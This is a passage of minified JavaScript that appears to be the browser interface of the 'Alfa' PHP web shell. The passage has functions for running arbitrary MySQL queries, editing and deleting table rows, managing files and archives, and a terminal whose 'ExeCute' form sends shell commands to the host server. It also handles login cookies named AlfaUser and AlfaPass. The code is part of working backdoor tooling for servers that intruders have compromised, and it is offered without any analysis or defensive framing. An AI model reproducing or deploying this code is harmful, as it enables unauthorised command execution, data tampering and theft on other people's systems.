img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style=\'padding-left: 50px;\'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style=\'padding-left: 50px;\'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="<<",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML=">>",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name=\'"+e.columns[u].name+"\'><option value=\'=\'>=</option><option value=\'!=\'>!=</option><option value=\'>\'>></option><option value=\'>=\'>>=</option><option value=\'<\'><</option><option value=\'<=\'><=</option><option value=\\"= \'\'\\">= \'\'</option><option value=\\"!= \'\'\\">!= \'\'</option><option value=\'LIKE\'>LIKE</option><option value=\'LIKE %...%\'>LIKE %...%</option><option value=\'NOT LIKE\'>NOT LIKE</option><option value=\'REGEXP\'>REGEXP</option><option value=\'REGEXP ^...$\'>REGEXP ^...$</option><option value=\'NOT REGEXP\'>NOT REGEXP</option><option value=\'IN (...)\'>IN (...)</option><option value=\'NOT IN (...)\'>NOT IN (...)</option><option value=\'BETWEEN\'>BETWEEN</option><option value=\'NOT BETWEEN\'>NOT BETWEEN</option><option value=\'IS NULL\'>IS NULL</option><option value=\'IS NOT NULL\'>IS NOT NULL</option></select></td><td><input type=\'"+p+"\' name=\'"+e.columns[u].name+"\'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td><select name=\'sel_"+e.columns[u].name+"\'>"+f+"</select></td><td><input name=\'value_"+e.columns[u].name+"\' type=\'text\' value=\'"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"\'></td><td><button col_name=\'"+e.columns[u].name+"\' tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlAlterTbl(this);return false;\'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name=\'"+e.columns[u].name+"\' rows=\'5\'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type=\'number\' name=\'"+e.columns[u].name+"\' value=\'\'>";break;default:m="<input type=\'text\' name=\'"+e.columns[u].name+"\' value=\'\'>"}r+="<tr><th style=\'text-align: left;\'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style=\'margin-left:20px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"insert\\");return false;\'>Insert</button></div><div class=\'mysql-insert-result\'></div>",o+="</table><div class=\'mysql-structure-qres\'></div>",n+="</table><div style=\'padding-left: 384px;margin-top: 15px;\'><button tbl_name=\'"+t+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlSearch(this);return false;\'>Search</button></div>",e.pages>0){l+="<span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,1);\'><<</span> <span> page: </span> <select tbl_name=\'"+t+"\' db_target=\'"+a+"\' name=\'mysql-q-pages\' db_id=\'"+i+"\' class=\'db-opt-id\' onchange=\'alfaMysqlChangePage(this);\' pages=\'"+e.pages+"\'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style=\'cursor:pointer;\' db_id=\'"+i+"\' onclick=\'alfaMysqlChangePage(this,2);\'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border=\'1\'><tr style=\'text-align: left;background-color: #305b8e;color:#FFFFFF;\'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name=\'"+e[c].col+"\' rows=\'5\'>"+e[c].value+"</textarea>";break;case"input":u="<input type=\'"+e[c].type.type+"\' name=\'"+e[c].col+"\' value=\'"+e[c].value+"\'>"}s+="<tr><th style=\'text-align: left;\'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style=\'margin-left:20px;\'><button col_key=\'"+l+"\' key=\'"+r+"\' tbl_name=\'"+o+"\' db_id=\'"+i+"\' db_target=\'"+a+"\' onclick=\'alfaMysqlUpdateRow(this, \\"edit\\");return false;\'>Update</button></div><div class=\'mysql-update-result\'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\\\[\\\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+=\'<optgroup label="\'+t[l].key+\'">\',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw\'"msg parameter is empty"\';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if($("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="sql-content sql-active-content">\'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",\'<div id="tab_\'+i+\'" opt_id="\'+i+\'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="\'+i+\'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\\\'sql\\\',null,\\\'\\\',\\\'\\\',\\\'\\\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>\'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",\'<div id="\'+o+\'" class="options_holder">\'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",\'<div opt_id="\'+o+\'" onclick="optionsTabController(this);" title="\'+l+\'" id="tab_\'+o+\'" class="tab_name tab_is_active">\'+l+\' <img opt_id="\'+o+\'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){if("getconfig"==t.classList.value)return!1;if("FORM"==t.tagName){var a=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+i+\'");\'+a),t.setAttribute("opt_id",e+i)}else{a=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+i+\'");\'+a)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){if("getconfig"==t.classList.value)return!1;if("FORM"==t.tagName){var a=t.getAttribute("onsubmit");t.setAttribute("onsubmit",\'alfaBeforeDoAction("\'+e+\'");\'+a),t.setAttribute("opt_id",e)}else{a=t.getAttribute("onclick");t.setAttribute("onclick",\'alfaBeforeDoAction("\'+e+\'");\'+a)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \\t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\\/\\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",\'<div id="\'+i+\'" class="terminal-content\'+t+\'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+\'\\\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\\\'\'+i+"\',0);\\">-</button><input onchange=\\"alfaTerminalChangecolor(this,\'"+i+\'\\\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="\'+i+\'" onSubmit="alfaExecTerminal(this);this.c.value=\\\'\\\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\\\'\'+i+\'\\\');" term_id="\'+i+\'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\\\'free\\\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="\'+i+\'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="\'+i+\'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>\');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="terminalTabController(this);" term_id="\'+i+\'" id="tab_\'+i+\'" class="terminal-tab\'+a+\'">Terminal <img term_id="\'+i+\'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>\'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",\'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>\'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder 